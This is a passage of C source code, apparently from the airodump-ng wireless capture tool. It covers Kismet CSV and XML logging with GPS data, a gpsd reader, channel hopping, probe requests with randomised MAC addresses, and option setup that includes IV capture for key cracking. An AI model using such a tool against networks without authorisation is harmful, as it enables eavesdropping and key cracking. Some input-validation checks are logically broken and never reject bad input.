GPS Coordinates */ if (G.usegpsd) { fprintf(G.f_kis_xml, "\t\t<gps-info>\n" "\t\t\t<min-lat>%.6f</min-lat>\n" "\t\t\t<min-lon>%.6f</min-lon>\n" "\t\t\t<min-alt>%.6f</min-alt>\n" "\t\t\t<min-spd>%.6f</min-spd>\n" "\t\t\t<max-lat>%.6f</max-lat>\n" "\t\t\t<max-lon>%.6f</max-lon>\n" "\t\t\t<max-alt>%.6f</max-alt>\n" "\t\t\t<max-spd>%.6f</max-spd>\n" "\t\t\t<peak-lat>%.6f</peak-lat>\n" "\t\t\t<peak-lon>%.6f</peak-lon>\n" "\t\t\t<peak-alt>%.6f</peak-alt>\n" "\t\t\t<avg-lat>%.6f</avg-lat>\n" "\t\t\t<avg-lon>%.6f</avg-lon>\n" "\t\t\t<avg-alt>%.6f</avg-alt>\n" "\t\t</gps-info>\n", ap_cur->gps_loc_min[0], ap_cur->gps_loc_min[1], ap_cur->gps_loc_min[2], ap_cur->gps_loc_min[3], ap_cur->gps_loc_max[0], ap_cur->gps_loc_max[1], ap_cur->gps_loc_max[2], ap_cur->gps_loc_max[3], ap_cur->gps_loc_best[0], ap_cur->gps_loc_best[1], ap_cur->gps_loc_best[2], /* Can the "best" be considered as average??? */ ap_cur->gps_loc_best[0], ap_cur->gps_loc_best[1], ap_cur->gps_loc_best[2] ); } /* Trailing information */ fprintf(G.f_kis_xml, "\t\t<bsstimestamp>0</bsstimestamp>\n" "\t\t<cdp-device></cdp-device>\n" "\t\t<cdp-portid></cdp-portid>\n"); /* Closing tag for the current wireless network */ fprintf(G.f_kis_xml, "\t</wireless-network>\n"); //-------- End of XML ap_cur = ap_cur->next; } /* Trailing */ fprintf( G.f_kis_xml, "%s\n", KISMET_NETXML_TRAILER ); fflush( G.f_kis_xml ); /* Sometimes there can be crap at the end of the file, so truncating is a good idea. XXX: Is this really correct, I hope fileno() won't have any side effect */ unused = ftruncate(fileno(G.f_kis_xml), ftell( G.f_kis_xml ) ); return 0; } #undef TIME_STR_LENGTH #define KISMET_HEADER "Network;NetType;ESSID;BSSID;Info;Channel;Cloaked;Encryption;Decrypted;MaxRate;MaxSeenRate;Beacon;LLC;Data;Crypt;Weak;Total;Carrier;Encoding;FirstTime;LastTime;BestQuality;BestSignal;BestNoise;GPSMinLat;GPSMinLon;GPSMinAlt;GPSMinSpd;GPSMaxLat;GPSMaxLon;GPSMaxAlt;GPSMaxSpd;GPSBestLat;GPSBestLon;GPSBestAlt;DataSize;IPType;IP;\n" int dump_write_kismet_csv( void ) { int i, k; // struct tm *ltime; /* char ssid_list[512];*/ struct AP_info *ap_cur; if (! G.record_data || !G.output_format_kismet_csv) return 0; fseek( G.f_kis, 0, SEEK_SET ); fprintf( G.f_kis, KISMET_HEADER ); ap_cur = G.ap_1st; k=1; while( ap_cur != NULL ) { if( memcmp( ap_cur->bssid, BROADCAST, 6 ) == 0 ) { ap_cur = ap_cur->next; continue; } if(ap_cur->security != 0 && G.f_encrypt != 0 && ((ap_cur->security & G.f_encrypt) == 0)) { ap_cur = ap_cur->next; continue; } if(is_filtered_essid(ap_cur->essid) || ap_cur->nb_pkt < 2) { ap_cur = ap_cur->next; continue; } //Network fprintf( G.f_kis, "%d;", k ); //NetType fprintf( G.f_kis, "infrastructure;"); //ESSID for(i=0; i<ap_cur->ssid_length; i++) { fprintf( G.f_kis, "%c", ap_cur->essid[i] ); } fprintf( G.f_kis, ";" ); //BSSID fprintf( G.f_kis, "%02X:%02X:%02X:%02X:%02X:%02X;", ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2], ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5] ); //Info fprintf( G.f_kis, ";"); //Channel fprintf( G.f_kis, "%d;", ap_cur->channel); //Cloaked fprintf( G.f_kis, "No;"); //Encryption if( (ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) != 0) { if( ap_cur->security & STD_WPA2 ) fprintf( G.f_kis, "WPA2," ); if( ap_cur->security & STD_WPA ) fprintf( G.f_kis, "WPA," ); if( ap_cur->security & STD_WEP ) fprintf( G.f_kis, "WEP," ); if( ap_cur->security & STD_OPN ) fprintf( G.f_kis, "OPN," ); } if( (ap_cur->security & (ENC_WEP|ENC_TKIP|ENC_WRAP|ENC_CCMP|ENC_WEP104|ENC_WEP40)) == 0 ) fprintf( G.f_kis, "None,"); else { if( ap_cur->security & ENC_CCMP ) fprintf( G.f_kis, "AES-CCM,"); if( ap_cur->security & ENC_WRAP ) fprintf( G.f_kis, "WRAP,"); if( ap_cur->security & ENC_TKIP ) fprintf( G.f_kis, "TKIP,"); if( ap_cur->security & ENC_WEP104 ) fprintf( G.f_kis, "WEP104,"); if( ap_cur->security & ENC_WEP40 ) fprintf( G.f_kis, "WEP40,"); /* if( ap_cur->security & ENC_WEP ) fprintf( G.f_kis, " WEP,");*/ } fseek(G.f_kis, -1, SEEK_CUR); fprintf(G.f_kis, ";"); //Decrypted fprintf( G.f_kis, "No;"); //MaxRate fprintf( G.f_kis, "%d.0;", ap_cur->max_speed ); //MaxSeenRate fprintf( G.f_kis, "0;"); //Beacon fprintf( G.f_kis, "%ld;", ap_cur->nb_bcn); //LLC fprintf( G.f_kis, "0;"); //Data fprintf( G.f_kis, "%ld;", ap_cur->nb_data ); //Crypt fprintf( G.f_kis, "0;"); //Weak fprintf( G.f_kis, "0;"); //Total fprintf( G.f_kis, "%ld;", ap_cur->nb_data ); //Carrier fprintf( G.f_kis, ";"); //Encoding fprintf( G.f_kis, ";"); //FirstTime fprintf( G.f_kis, "%s", ctime(&ap_cur->tinit) ); fseek(G.f_kis, -1, SEEK_CUR); fprintf( G.f_kis, ";"); //LastTime fprintf( G.f_kis, "%s", ctime(&ap_cur->tlast) ); fseek(G.f_kis, -1, SEEK_CUR); fprintf( G.f_kis, ";"); //BestQuality fprintf( G.f_kis, "%d;", ap_cur->avg_power ); //BestSignal fprintf( G.f_kis, "0;" ); //BestNoise fprintf( G.f_kis, "0;" ); //GPSMinLat fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_min[0]); //GPSMinLon fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_min[1]); //GPSMinAlt fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_min[2]); //GPSMinSpd fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_min[3]); //GPSMaxLat fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_max[0]); //GPSMaxLon fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_max[1]); //GPSMaxAlt fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_max[2]); //GPSMaxSpd fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_max[3]); //GPSBestLat fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_best[0]); //GPSBestLon fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_best[1]); //GPSBestAlt fprintf( G.f_kis, "%.6f;", ap_cur->gps_loc_best[2]); //DataSize fprintf( G.f_kis, "0;" ); //IPType fprintf( G.f_kis, "0;" ); //IP fprintf( G.f_kis, "%d.%d.%d.%d;", ap_cur->lanip[0], ap_cur->lanip[1], ap_cur->lanip[2], ap_cur->lanip[3] ); fprintf( G.f_kis, "\r\n"); ap_cur = ap_cur->next; k++; } fflush( G.f_kis ); return 0; } void gps_tracker( void ) { ssize_t unused; int gpsd_sock; char line[256], *temp; struct sockaddr_in gpsd_addr; int ret, is_json, pos; fd_set read_fd; struct timeval timeout; /* attempt to connect to localhost, port 2947 */ pos = 0; gpsd_sock = socket( AF_INET, SOCK_STREAM, 0 ); if( gpsd_sock < 0 ) { return; } gpsd_addr.sin_family = AF_INET; gpsd_addr.sin_port = htons( 2947 ); gpsd_addr.sin_addr.s_addr = inet_addr( "127.0.0.1" ); if( connect( gpsd_sock, (struct sockaddr *) &gpsd_addr, sizeof( gpsd_addr ) ) < 0 ) { return; } // Check if it's GPSd < 2.92 or the new one // 2.92+ immediately send stuff // < 2.92 requires to send PVTAD command FD_ZERO(&read_fd); FD_SET(gpsd_sock, &read_fd); timeout.tv_sec = 1; timeout.tv_usec = 0; is_json = select(gpsd_sock + 1, &read_fd, NULL, NULL, &timeout); if (is_json) { /* {"class":"VERSION","release":"2.95","rev":"2010-11-16T21:12:35","proto_major":3,"proto_minor":3} ?WATCH={"json":true}; {"class":"DEVICES","devices":[]} */ // Get the crap and ignore it: {"class":"VERSION","release":"2.95","rev":"2010-11-16T21:12:35","proto_major":3,"proto_minor":3} if( recv( gpsd_sock, line, sizeof( line ) - 1, 0 ) <= 0 ) return; is_json = (line[0] == '{'); if (is_json) { // Send ?WATCH={"json":true}; memset( line, 0, sizeof( line ) ); strcpy(line, "?WATCH={\"json\":true};\n"); if( send( gpsd_sock, line, 22, 0 ) != 22 ) return; // Check that we have devices memset(line, 0, sizeof(line)); if( recv( gpsd_sock, line, sizeof( line ) - 1, 0 ) <= 0 ) return; // Stop processing if there is no device if (strncmp(line, "{\"class\":\"DEVICES\",\"devices\":[]}", 32) == 0) { close(gpsd_sock); return; } else { pos = strlen(line); } } } /* loop reading the GPS coordinates */ while( G.do_exit == 0 ) { usleep( 500000 ); memset( G.gps_loc, 0, sizeof( float ) * 5 ); /* read position, speed, heading, altitude */ if (is_json) { // Format definition: http://catb.org/gpsd/gpsd_json.html if (pos == sizeof( line )) { memset(line, 0, sizeof(line)); pos = 0; } // New version, JSON if( recv( gpsd_sock, line + pos, sizeof( line ) - pos - 1, 0 ) <= 0 ) return; // search for TPV class: {"class":"TPV" temp = strstr(line, "{\"class\":\"TPV\""); if (temp == NULL) { continue; } // Make sure the data we have is complete if (strchr(temp, '}') == NULL) { // Move the data at the beginning of the buffer; pos = strlen(temp); if (temp != line) { memmove(line, temp, pos); memset(line + pos, 0, sizeof(line) - pos); } } // Example line: {"class":"TPV","tag":"MID2","device":"/dev/ttyUSB0","time":1350957517.000,"ept":0.005,"lat":46.878936576,"lon":-115.832602964,"alt":1968.382,"track":0.0000,"speed":0.000,"climb":0.000,"mode":3} // Latitude temp = strstr(temp, "\"lat\":"); if (temp == NULL) { continue; } ret = sscanf(temp + 6, "%f", &G.gps_loc[0]); // Longitude temp = strstr(temp, "\"lon\":"); if (temp == NULL) { continue; } ret = sscanf(temp + 6, "%f", &G.gps_loc[1]); // Altitude temp = strstr(temp, "\"alt\":"); if (temp == NULL) { continue; } ret = sscanf(temp + 6, "%f", &G.gps_loc[4]); // Speed temp = strstr(temp, "\"speed\":"); if (temp == NULL) { continue; } ret = sscanf(temp + 6, "%f", &G.gps_loc[2]); // No more heading // Get the next TPV class temp = strstr(temp, "{\"class\":\"TPV\""); if (temp == NULL) { memset( line, 0, sizeof( line ) ); pos = 0; } else { pos = strlen(temp); memmove(line, temp, pos); memset(line + pos, 0, sizeof(line) - pos); } } else { memset( line, 0, sizeof( line ) ); snprintf( line, sizeof( line ) - 1, "PVTAD\r\n" ); if( send( gpsd_sock, line, 7, 0 ) != 7 ) return; memset( line, 0, sizeof( line ) ); if( recv( gpsd_sock, line, sizeof( line ) - 1, 0 ) <= 0 ) return; if( memcmp( line, "GPSD,P=", 7 ) != 0 ) continue; /* make sure the coordinates are present */ if( line[7] == '?' ) continue; ret = sscanf( line + 7, "%f %f", &G.gps_loc[0], &G.gps_loc[1] ); if( ( temp = strstr( line, "V=" ) ) == NULL ) continue; ret = sscanf( temp + 2, "%f", &G.gps_loc[2] ); /* speed */ if( ( temp = strstr( line, "T=" ) ) == NULL ) continue; ret = sscanf( temp + 2, "%f", &G.gps_loc[3] ); /* heading */ if( ( temp = strstr( line, "A=" ) ) == NULL ) continue; ret = sscanf( temp + 2, "%f", &G.gps_loc[4] ); /* altitude */ } if (G.record_data) fputs( line, G.f_gps ); G.save_gps = 1; if (G.do_exit == 0) { unused = write( G.gc_pipe[1], G.gps_loc, sizeof( float ) * 5 ); kill( getppid(), SIGUSR2 ); } } } void sighandler( int signum) { ssize_t unused; int card=0; signal( signum, sighandler ); if( signum == SIGUSR1 ) { unused = read( G.cd_pipe[0], &card, sizeof(int) ); if(G.freqoption) unused = read( G.ch_pipe[0], &(G.frequency[card]), sizeof( int ) ); else unused = read( G.ch_pipe[0], &(G.channel[card]), sizeof( int ) ); } if( signum == SIGUSR2 ) unused = read( G.gc_pipe[0], &G.gps_loc, sizeof( float ) * 5 ); if( signum == SIGINT || signum == SIGTERM ) { reset_term(); alarm( 1 ); G.do_exit = 1; signal( SIGALRM, sighandler ); dprintf( STDOUT_FILENO, "\n" ); } if( signum == SIGSEGV ) { fprintf( stderr, "Caught signal 11 (SIGSEGV). Please" " contact the author!\33[?25h\n\n" ); fflush( stdout ); exit( 1 ); } if( signum == SIGALRM ) { dprintf( STDERR_FILENO, "Caught signal 14 (SIGALRM). Please" " contact the author!\33[?25h\n\n" ); _exit( 1 ); } if( signum == SIGCHLD ) wait( NULL ); if( signum == SIGWINCH ) { fprintf( stderr, "\33[2J" ); fflush( stdout ); } } int send_probe_request(struct wif *wi) { int len; unsigned char p[4096], r_smac[6]; memcpy(p, PROBE_REQ, 24); len = 24; p[24] = 0x00; //ESSID Tag Number p[25] = 0x00; //ESSID Tag Length len += 2; memcpy(p+len, RATES, 16); len += 16; r_smac[0] = 0x00; r_smac[1] = rand() & 0xFF; r_smac[2] = rand() & 0xFF; r_smac[3] = rand() & 0xFF; r_smac[4] = rand() & 0xFF; r_smac[5] = rand() & 0xFF; memcpy(p+10, r_smac, 6); if (wi_write(wi, p, len, NULL) == -1) { switch (errno) { case EAGAIN: case ENOBUFS: usleep(10000); return 0; /* XXX not sure I like this... -sorbo */ } perror("wi_write()"); return -1; } return 0; } int send_probe_requests(struct wif *wi[], int cards) { int i=0; for(i=0; i<cards; i++) { send_probe_request(wi[i]); } return 0; } int getchancount(int valid) { int i=0, chan_count=0; while(G.channels[i]) { i++; if(G.channels[i] != -1) chan_count++; } if(valid) return chan_count; return i; } int getfreqcount(int valid) { int i=0, freq_count=0; while(G.own_frequencies[i]) { i++; if(G.own_frequencies[i] != -1) freq_count++; } if(valid) return freq_count; return i; } void channel_hopper(struct wif *wi[], int if_num, int chan_count ) { ssize_t unused; int ch, ch_idx = 0, card=0, chi=0, cai=0, j=0, k=0, first=1, again=1; int dropped=0; while( getppid() != 1 ) { for( j = 0; j < if_num; j++ ) { again = 1; ch_idx = chi % chan_count; card = cai % if_num; ++chi; ++cai; if( G.chswitch == 2 && !first ) { j = if_num - 1; card = if_num - 1; if( getchancount(1) > if_num ) { while( again ) { again = 0; for( k = 0; k < ( if_num - 1 ); k++ ) { if( G.channels[ch_idx] == G.channel[k] ) { again = 1; ch_idx = chi % chan_count; chi++; } } } } } if( G.channels[ch_idx] == -1 ) { j--; cai--; dropped++; if(dropped >= chan_count) { ch = wi_get_channel(wi[card]); G.channel[card] = ch; unused = write( G.cd_pipe[1], &card, sizeof(int) ); unused = write( G.ch_pipe[1], &ch, sizeof( int ) ); kill( getppid(), SIGUSR1 ); usleep(1000); } continue; } dropped = 0; ch = G.channels[ch_idx]; if(wi_set_channel(wi[card], ch ) == 0 ) { G.channel[card] = ch; unused = write( G.cd_pipe[1], &card, sizeof(int) ); unused = write( G.ch_pipe[1], &ch, sizeof( int ) ); if(G.active_scan_sim > 0) send_probe_request(wi[card]); kill( getppid(), SIGUSR1 ); usleep(1000); } else { G.channels[ch_idx] = -1; /* remove invalid channel */ j--; cai--; continue; } } if(G.chswitch == 0) { chi=chi-(if_num - 1); } if(first) { first = 0; } usleep( (G.hopfreq*1000) ); } exit( 0 ); } void frequency_hopper(struct wif *wi[], int if_num, int chan_count ) { ssize_t unused; int ch, ch_idx = 0, card=0, chi=0, cai=0, j=0, k=0, first=1, again=1; int dropped=0; while( getppid() != 1 ) { for( j = 0; j < if_num; j++ ) { again = 1; ch_idx = chi % chan_count; card = cai % if_num; ++chi; ++cai; if( G.chswitch == 2 && !first ) { j = if_num - 1; card = if_num - 1; if( getfreqcount(1) > if_num ) { while( again ) { again = 0; for( k = 0; k < ( if_num - 1 ); k++ ) { if( G.own_frequencies[ch_idx] == G.frequency[k] ) { again = 1; ch_idx = chi % chan_count; chi++; } } } } } if( G.own_frequencies[ch_idx] == -1 ) { j--; cai--; dropped++; if(dropped >= chan_count) { ch = wi_get_freq(wi[card]); G.frequency[card] = ch; unused = write( G.cd_pipe[1], &card, sizeof(int) ); unused = write( G.ch_pipe[1], &ch, sizeof( int ) ); kill( getppid(), SIGUSR1 ); usleep(1000); } continue; } dropped = 0; ch = G.own_frequencies[ch_idx]; if(wi_set_freq(wi[card], ch ) == 0 ) { G.frequency[card] = ch; unused = write( G.cd_pipe[1], &card, sizeof(int) ); unused = write( G.ch_pipe[1], &ch, sizeof( int ) ); kill( getppid(), SIGUSR1 ); usleep(1000); } else { G.own_frequencies[ch_idx] = -1; /* remove invalid channel */ j--; cai--; continue; } } if(G.chswitch == 0) { chi=chi-(if_num - 1); } if(first) { first = 0; } usleep( (G.hopfreq*1000) ); } exit( 0 ); } int invalid_channel(int chan) { int i=0; do { if (chan == abg_chans[i] && chan != 0 ) return 0; } while (abg_chans[++i]); return 1; } int invalid_frequency(int freq) { int i=0; do { if (freq == frequencies[i] && freq != 0 ) return 0; } while (frequencies[++i]); return 1; } /* parse a string, for example "1,2,3-7,11" */ int getchannels(const char *optarg) { unsigned int i=0,chan_cur=0,chan_first=0,chan_last=0,chan_max=128,chan_remain=0; char *optchan = NULL, *optc; char *token = NULL; int *tmp_channels; //got a NULL pointer? if(optarg == NULL) return -1; chan_remain=chan_max; //create a writable string optc = optchan = (char*) malloc(strlen(optarg)+1); strncpy(optchan, optarg, strlen(optarg)); optchan[strlen(optarg)]='\0'; tmp_channels = (int*) malloc(sizeof(int)*(chan_max+1)); //split string in tokens, separated by ',' while( (token = strsep(&optchan,",")) != NULL) { //range defined? if(strchr(token, '-') != NULL) { //only 1 '-' ? if(strchr(token, '-') == strrchr(token, '-')) { //are there any illegal characters? for(i=0; i<strlen(token); i++) { if( (token[i] < '0') && (token[i] > '9') && (token[i] != '-')) { free(tmp_channels); free(optc); return -1; } } if( sscanf(token, "%d-%d", &chan_first, &chan_last) != EOF ) { if(chan_first > chan_last) { free(tmp_channels); free(optc); return -1; } for(i=chan_first; i<=chan_last; i++) { if( (! invalid_channel(i)) && (chan_remain > 0) ) { tmp_channels[chan_max-chan_remain]=i; chan_remain--; } } } else { free(tmp_channels); free(optc); return -1; } } else { free(tmp_channels); free(optc); return -1; } } else { //are there any illegal characters? for(i=0; i<strlen(token); i++) { if( (token[i] < '0') && (token[i] > '9') ) { free(tmp_channels); free(optc); return -1; } } if( sscanf(token, "%d", &chan_cur) != EOF) { if( (! invalid_channel(chan_cur)) && (chan_remain > 0) ) { tmp_channels[chan_max-chan_remain]=chan_cur; chan_remain--; } } else { free(tmp_channels); free(optc); return -1; } } } G.own_channels = (int*) malloc(sizeof(int)*(chan_max - chan_remain + 1)); for(i=0; i<(chan_max - chan_remain); i++) { G.own_channels[i]=tmp_channels[i]; } G.own_channels[i]=0; free(tmp_channels); free(optc); if(i==1) return G.own_channels[0]; if(i==0) return -1; return 0; } /* parse a string, for example "1,2,3-7,11" */ int getfrequencies(const char *optarg) { unsigned int i=0,freq_cur=0,freq_first=0,freq_last=0,freq_max=10000,freq_remain=0; char *optfreq = NULL, *optc; char *token = NULL; int *tmp_frequencies; //got a NULL pointer? if(optarg == NULL) return -1; freq_remain=freq_max; //create a writable string optc = optfreq = (char*) malloc(strlen(optarg)+1); strncpy(optfreq, optarg, strlen(optarg)); optfreq[strlen(optarg)]='\0'; tmp_frequencies = (int*) malloc(sizeof(int)*(freq_max+1)); //split string in tokens, separated by ',' while( (token = strsep(&optfreq,",")) != NULL) { //range defined? if(strchr(token, '-') != NULL) { //only 1 '-' ? if(strchr(token, '-') == strrchr(token, '-')) { //are there any illegal characters? for(i=0; i<strlen(token); i++) { if( (token[i] < '0' || token[i] > '9') && (token[i] != '-')) { free(tmp_frequencies); free(optc); return -1; } } if( sscanf(token, "%d-%d", &freq_first, &freq_last) != EOF ) { if(freq_first > freq_last) { free(tmp_frequencies); free(optc); return -1; } for(i=freq_first; i<=freq_last; i++) { if( (! invalid_frequency(i)) && (freq_remain > 0) ) { tmp_frequencies[freq_max-freq_remain]=i; freq_remain--; } } } else { free(tmp_frequencies); free(optc); return -1; } } else { free(tmp_frequencies); free(optc); return -1; } } else { //are there any illegal characters? for(i=0; i<strlen(token); i++) { if( (token[i] < '0') && (token[i] > '9') ) { free(tmp_frequencies); free(optc); return -1; } } if( sscanf(token, "%d", &freq_cur) != EOF) { if( (! invalid_frequency(freq_cur)) && (freq_remain > 0) ) { tmp_frequencies[freq_max-freq_remain]=freq_cur; freq_remain--; } /* special case "-C 0" means: scan all available frequencies */ if(freq_cur == 0) { freq_first = 1; freq_last = 9999; for(i=freq_first; i<=freq_last; i++) { if( (! invalid_frequency(i)) && (freq_remain > 0) ) { tmp_frequencies[freq_max-freq_remain]=i; freq_remain--; } } } } else { free(tmp_frequencies); free(optc); return -1; } } } G.own_frequencies = (int*) malloc(sizeof(int)*(freq_max - freq_remain + 1)); for(i=0; i<(freq_max - freq_remain); i++) { G.own_frequencies[i]=tmp_frequencies[i]; } G.own_frequencies[i]=0; free(tmp_frequencies); free(optc); if(i==1) return G.own_frequencies[0]; //exactly 1 frequency given if(i==0) return -1; //error occured return 0; //frequency hopping } int setup_card(char *iface, struct wif **wis) { struct wif *wi; wi = wi_open(iface); if (!wi) return -1; *wis = wi; return 0; } int init_cards(const char* cardstr, char *iface[], struct wif **wi) { char *buffer; char *buf; int if_count=0; int i=0, again=0; buf = buffer = (char*) malloc( sizeof(char) * 1025 ); strncpy( buffer, cardstr, 1025 ); buffer[1024] = '\0'; while( ((iface[if_count]=strsep(&buffer, ",")) != NULL) && (if_count < MAX_CARDS) ) { again=0; for(i=0; i<if_count; i++) { if(strcmp(iface[i], iface[if_count]) == 0) again=1; } if(again) continue; if(setup_card(iface[if_count], &(wi[if_count])) != 0) { free(buf); return -1; } if_count++; } free(buf); return if_count; } #if 0 int get_if_num(const char* cardstr) { char *buffer; int if_count=0; buffer = (char*) malloc(sizeof(char)*1025); if (buffer == NULL) { return -1; } strncpy(buffer, cardstr, 1025); buffer[1024] = '\0'; while( (strsep(&buffer, ",") != NULL) && (if_count < MAX_CARDS) ) { if_count++; } free(buffer) return if_count; } #endif int set_encryption_filter(const char* input) { if(input == NULL) return 1; if(strlen(input) < 3) return 1; if(strcasecmp(input, "opn") == 0) G.f_encrypt |= STD_OPN; if(strcasecmp(input, "wep") == 0) G.f_encrypt |= STD_WEP; if(strcasecmp(input, "wpa") == 0) { G.f_encrypt |= STD_WPA; G.f_encrypt |= STD_WPA2; } if(strcasecmp(input, "wpa1") == 0) G.f_encrypt |= STD_WPA; if(strcasecmp(input, "wpa2") == 0) G.f_encrypt |= STD_WPA2; return 0; } int check_monitor(struct wif *wi[], int *fd_raw, int *fdh, int cards) { int i, monitor; char ifname[64]; for(i=0; i<cards; i++) { monitor = wi_get_monitor(wi[i]); if(monitor != 0) { memset(G.message, '\x00', sizeof(G.message)); snprintf(G.message, sizeof(G.message), "][ %s reset to monitor mode", wi_get_ifname(wi[i])); //reopen in monitor mode strncpy(ifname, wi_get_ifname(wi[i]), sizeof(ifname)-1); ifname[sizeof(ifname)-1] = 0; wi_close(wi[i]); wi[i] = wi_open(ifname); if (!wi[i]) { printf("Can't reopen %s\n", ifname); exit(1); } fd_raw[i] = wi_fd(wi[i]); if (fd_raw[i] > *fdh) *fdh = fd_raw[i]; } } return 0; } int check_channel(struct wif *wi[], int cards) { int i, chan; for(i=0; i<cards; i++) { chan = wi_get_channel(wi[i]); if(G.ignore_negative_one == 1 && chan==-1) return 0; if(G.channel[i] != chan) { memset(G.message, '\x00', sizeof(G.message)); snprintf(G.message, sizeof(G.message), "][ fixed channel %s: %d ", wi_get_ifname(wi[i]), chan); wi_set_channel(wi[i], G.channel[i]); } } return 0; } int check_frequency(struct wif *wi[], int cards) { int i, freq; for(i=0; i<cards; i++) { freq = wi_get_freq(wi[i]); if(freq < 0) continue; if(G.frequency[i] != freq) { memset(G.message, '\x00', sizeof(G.message)); snprintf(G.message, sizeof(G.message), "][ fixed frequency %s: %d ", wi_get_ifname(wi[i]), freq); wi_set_freq(wi[i], G.frequency[i]); } } return 0; } int detect_frequencies(struct wif *wi) { int start_freq = 2192; int end_freq = 2732; int max_freq_num = 2048; //should be enough to keep all available channels int freq=0, i=0; printf("Checking available frequencies, this could take few seconds.\n"); frequencies = (int*) malloc((max_freq_num+1) * sizeof(int)); //field for frequencies supported memset(frequencies, 0, (max_freq_num+1) * sizeof(int)); for(freq=start_freq; freq<=end_freq; freq+=5) { if(wi_set_freq(wi, freq) == 0) { frequencies[i] = freq; i++; } if(freq == 2482) { //special case for chan 14, as its 12MHz away from 13, not 5MHz freq = 2484; if(wi_set_freq(wi, freq) == 0) { frequencies[i] = freq; i++; } freq = 2482; } } //again for 5GHz channels start_freq=4800; end_freq=6000; for(freq=start_freq; freq<=end_freq; freq+=5) { if(wi_set_freq(wi, freq) == 0) { frequencies[i] = freq; i++; } } printf("Done.\n"); return 0; } int array_contains(int *array, int length, int value) { int i; for(i=0;i<length;i++) if(array[i] == value) return 1; return 0; } int rearrange_frequencies() { int *freqs; int count, left, pos; int width, last_used=0; int cur_freq, last_freq, round_done; // int i; width = DEFAULT_CWIDTH; cur_freq=0; count = getfreqcount(0); left = count; pos = 0; freqs = malloc(sizeof(int) * (count + 1)); memset(freqs, 0, sizeof(int) * (count + 1)); round_done = 0; while(left > 0) { // printf("pos: %d\n", pos); last_freq = cur_freq; cur_freq = G.own_frequencies[pos%count]; if(cur_freq == last_used) round_done=1; // printf("count: %d, left: %d, last_used: %d, cur_freq: %d, width: %d\n", count, left, last_used, cur_freq, width); if(((count-left) > 0) && !round_done && ( ABS( last_used-cur_freq ) < width ) ) { // printf("skip it!\n"); pos++; continue; } if(!array_contains( freqs, count, cur_freq)) { // printf("not in there yet: %d\n", cur_freq); freqs[count - left] = cur_freq; last_used = cur_freq; left--; round_done = 0; } pos++; } memcpy(G.own_frequencies, freqs, count*sizeof(int)); free(freqs); return 0; } int main( int argc, char *argv[] ) { long time_slept, cycle_time, cycle_time2; char * output_format_string; int caplen=0, i, j, fdh, fd_is_set, chan_count, freq_count, unused; int fd_raw[MAX_CARDS], arptype[MAX_CARDS]; int ivs_only, found; int valid_channel; int freq [2]; int num_opts = 0; int option = 0; int option_index = 0; char ifnam[64]; int wi_read_failed=0; int n = 0; int output_format_first_time = 1; #ifdef HAVE_PCRE const char *pcreerror; int pcreerroffset; #endif struct AP_info *ap_cur, *ap_prv, *ap_next; struct ST_info *st_cur, *st_next; struct NA_info *na_cur, *na_next; struct oui *oui_cur, *oui_next; struct pcap_pkthdr pkh; time_t tt1, tt2, tt3, start_time; struct wif *wi[MAX_CARDS]; struct rx_info ri; unsigned char tmpbuf[4096]; unsigned char buffer[4096]; unsigned char *h80211; char *iface[MAX_CARDS]; struct timeval tv0; struct timeval tv1; struct timeval tv2; struct timeval tv3; struct timeval tv4; struct tm *lt; /* struct sockaddr_in provis_addr; */ fd_set rfds; static struct option long_options[] = { {"band", 1, 0, 'b'}, {"beacon", 0, 0, 'e'}, {"beacons", 0, 0, 'e'}, {"cswitch", 1, 0, 's'}, {"netmask", 1, 0, 'm'}, {"bssid", 1, 0, 'd'}, {"essid", 1, 0, 'N'}, {"essid-regex", 1, 0, 'R'}, {"channel", 1, 0, 'c'}, {"gpsd", 0, 0, 'g'}, {"ivs", 0, 0, 'i'}, {"write", 1, 0, 'w'}, {"encrypt", 1, 0, 't'}, {"update", 1, 0, 'u'}, {"berlin", 1, 0, 'B'}, {"help", 0, 0, 'H'}, {"nodecloak",0, 0, 'D'}, {"showack", 0, 0, 'A'}, {"detect-anomaly", 0, 0, 'E'}, {"output-format", 1, 0, 'o'}, {"ignore-negative-one", 0, &G.ignore_negative_one, 1}, {"manufacturer", 0, 0, 'M'}, {"uptime", 0, 0, 'U'}, {0, 0, 0, 0 } }; #ifdef USE_GCRYPT // Register callback functions to ensure proper locking in the sensitive parts of libgcrypt. gcry_control (GCRYCTL_SET_THREAD_CBS, &gcry_threads_pthread); // Disable secure memory. gcry_control (GCRYCTL_DISABLE_SECMEM, 0); // Tell Libgcrypt that initialization has completed. gcry_control (GCRYCTL_INITIALIZATION_FINISHED, 0); #endif pthread_mutex_init( &(G.mx_print), NULL ); pthread_mutex_init( &(G.mx_sort), NULL ); textstyle(TEXT_RESET);//(TEXT_RESET, TEXT_BLACK, TEXT_WHITE); /* initialize a bunch of variables */ srand( time( NULL ) ); memset( &G, 0, sizeof( G ) ); h80211 = NULL; ivs_only = 0; G.chanoption = 0; G.freqoption = 0; G.num_cards = 0; fdh = 0; fd_is_set = 0; chan_count = 0; time_slept = 0; G.batt = NULL; G.chswitch = 0; valid_channel = 0; G.usegpsd = 0; G.channels = bg_chans; G.one_beacon = 1; G.singlechan = 0; G.singlefreq = 0; G.dump_prefix = NULL; G.record_data = 0; G.f_cap = NULL; G.f_ivs = NULL; G.f_txt = NULL; G.f_kis = NULL; G.f_kis_xml = NULL; G.f_gps = NULL; G.keyout = NULL; G.f_xor = NULL; G.sk_len = 0; G.sk_len2 = 0; G.sk_start = 0; G.prefix = NULL; G.f_encrypt = 0; G.asso_client = 0; G.f_essid = NULL; G.f_essid_count = 0; G.active_scan_sim = 0; G.update_s = 0; G.decloak = 1; G.is_berlin = 0; G.numaps = 0; G.maxnumaps = 0; G.berlin = 120; G.show_ap = 1; G.show_sta = 1; G.show_ack = 0; G.hide_known = 0; G.maxsize_essid_seen = 5; // Initial value: 